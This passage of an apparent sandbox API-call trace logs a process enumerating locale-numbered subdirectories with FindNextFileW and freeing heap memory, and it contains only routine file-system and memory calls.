ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x51e6a31, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1032", cAlternateFileName="")) returned 1 [0288.687] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0288.687] FindNextFileW (in: hFindFile=0x3e81b68, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42d8c51, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf42fef17, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf42fef17, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 1 [0288.687] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0288.687] FindNextFileW (in: hFindFile=0x3e81b68, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a56cbe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a7cf13, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a7cf13, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1035", cAlternateFileName="")) returned 1 [0288.688] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0288.688] FindNextFileW (in: hFindFile=0x3e81b68, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa911c96, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa911c96, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa911c96, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1036", cAlternateFileName="")) returned 1 [0288.688] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0288.688] FindNextFileW (in: hFindFile=0x3e81b68, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x67a8250, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x67a8250, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67a8250, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1037", cAlternateFileName="")) returned 1 [0288.688] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0288.688] FindNextFileW (in: hFindFile=0x3e81b68, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x88e2fa3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x88e2fa3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x88e2fa3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1038", cAlternateFileName="")) returned 1 [0288.688] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0288.688] FindNextFileW (in: hFindFile=0x3e81b68, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x381f2dc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x381f2dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x381f2dc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1040", cAlternateFileName="")) returned 1 [0288.689] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0288.689] FindNextFileW (in: hFindFile=0x3e81b68, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6355df6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6355df6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6355df6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1041", cAlternateFileName="")) returned 1 [0288.689] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0288.689] FindNextFileW (in: hFindFile=0x3e81b68, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf048f354, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf048f354, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf048f354, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1042", cAlternateFileName="")) returned 1 [0288.689] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0288.689] FindNextFileW (in: hFindFile=0x3e81b68, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x303975a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x303975a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x303975a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1043", cAlternateFileName="")) returned 1 [0288.690] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0288.690] FindNextFileW (in: hFindFile=0x3e81b68, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf61d7668, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf61fd8b4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf61fd8b4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1044", cAlternateFileName="")) returned 1 [0288.690] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0288.690] FindNextFileW (in: hFindFile=0x3e81b68, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2ebae3b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf2ebae3b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf2ebae3b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1045", cAlternateFileName="")) returned 1 [0288.690] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0288.690] FindNextFileW (in: hFindFile=0x3e81b68, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1887f3e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1887f3e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1887f3e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1046", cAlternateFileName="")) returned 1 [0288.690] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0288.690] FindNextFileW (in: hFindFile=0x3e81b68, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5a8a2df, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5a8a2df, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5a8a2df, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1048", cAlternateFileName="")) returned 1 [0288.692] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0288.692] FindNextFileW (in: hFindFile=0x3e81b68, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6b87f8e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6b87f8e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b87f8e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1049", cAlternateFileName="")) returned 1 [0288.692] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0288.692] FindNextFileW (in: hFindFile=0x3e81b68, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfcc62b13, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfcc62b13, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfcc62b13, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1050", cAlternateFileName="")) returned 1 [0288.692] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0288.692] FindNextFileW (in: hFindFile=0x3e81b68, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x303975a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x303975a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x303975a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1051", cAlternateFileName="")) returned 1 [0288.693] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0288.693] FindNextFileW (in: hFindFile=0x3e81b68, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6bd3439, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6bd3439, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6bd3439, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1053", cAlternateFileName="")) returned 1 [0288.693] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0288.693] FindNextFileW (in: hFindFile=0x3e81b68, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf443017d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf443017d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf443017d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1054", cAlternateFileName="")) returned 1 [0288.693] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0288.693] FindNextFileW (in: hFindFile=0x3e81b68, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0089415, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0089415, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0089415, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1055", cAlternateFileName="")) returned 1 [0288.693] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0288.693] FindNextFileW (in: hFindFile=0x3e81b68, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1057", cAlternateFileName="")) returned 1 [0288.693] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0288.693] FindNextFileW (in: hFindFile=0x3e81b68, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1058", cAlternateFileName="")) returned 1 [0288.694] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0288.694] FindNextFileW (in: hFindFile=0x3e81b68, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf99b89f6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf99b89f6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf99b89f6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1060", cAlternateFileName="")) returned 1 [0288.694] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0288.694] FindNextFileW (in: hFindFile=0x3e81b68, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc2d943c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc2d943c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2d943c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1061", cAlternateFileName="")) returned 1 [0288.694] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0288.694] FindNextFileW (in: hFindFile=0x3e81b68, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1992fb3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992fb3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1992fb3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1062", cAlternateFileName="")) returned 1 [0288.694] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0288.694] FindNextFileW (in: hFindFile=0x3e81b68, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56853a0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56853a0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56853a0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1063", cAlternateFileName="")) returned 1 [0288.694] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0288.694] FindNextFileW (in: hFindFile=0x3e81b68, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf80d6078, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80d6078, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf80d6078, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1066", cAlternateFileName="")) returned 1 [0288.695] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0288.695] FindNextFileW (in: hFindFile=0x3e81b68, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xffe01c35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffe01c35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffe01c35, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1069", cAlternateFileName="")) returned 1 [0288.695] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0288.695] FindNextFileW (in: hFindFile=0x3e81b68, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5afc9d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5afc9d3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5afc9d3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1081", cAlternateFileName="")) returned 1 [0288.695] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0288.695] FindNextFileW (in: hFindFile=0x3e81b68, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a2268a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x7abb0bc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7abb0bc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1086", cAlternateFileName="")) returned 1 [0288.695] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0288.695] FindNextFileW (in: hFindFile=0x3e81b68, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6355df6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6355df6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6355df6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1087", cAlternateFileName="")) returned 1 [0288.695] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0288.695] FindNextFileW (in: hFindFile=0x3e81b68, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf61fd8b4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf61fd8b4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf61fd8b4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1110", cAlternateFileName="")) returned 1 [0288.695] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0288.696] FindNextFileW (in: hFindFile=0x3e81b68, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc47ce76, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc47ce76, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc47ce76, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="2052", cAlternateFileName="")) returned 1 [0288.696] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0288.696] FindNextFileW (in: hFindFile=0x3e81b68, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c40a24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c40a24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1c40a24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="2070", cAlternateFileName="")) returned 1 [0288.696] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0288.696] FindNextFileW (in: hFindFile=0x3e81b68, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf17ee5c3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf17ee5c3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="2074", cAlternateFileName="")) returned 1 [0288.696] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0288.696] FindNextFileW (in: hFindFile=0x3e81b68, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6354def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6354def, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="3082", cAlternateFileName="")) returned 1 [0288.696] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0288.696] FindNextFileW (in: hFindFile=0x3e81b68, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x67ce4b2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x67ce4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67ce4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="9242", cAlternateFileName="")) returned 1 [0288.696] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0288.696] FindNextFileW (in: hFindFile=0x3e81b68, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x67ce4b2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x67ce4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67ce4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="9242", cAlternateFileName="")) returned 0 [0288.697] FindClose (in: hFindFile=0x3e81b68 | out: hFindFile=0x3e81b68) returned 1 [0288.697] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0288.697] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro", cAlternateFileName="")) returned 1 [0288.698] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0288.698] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, 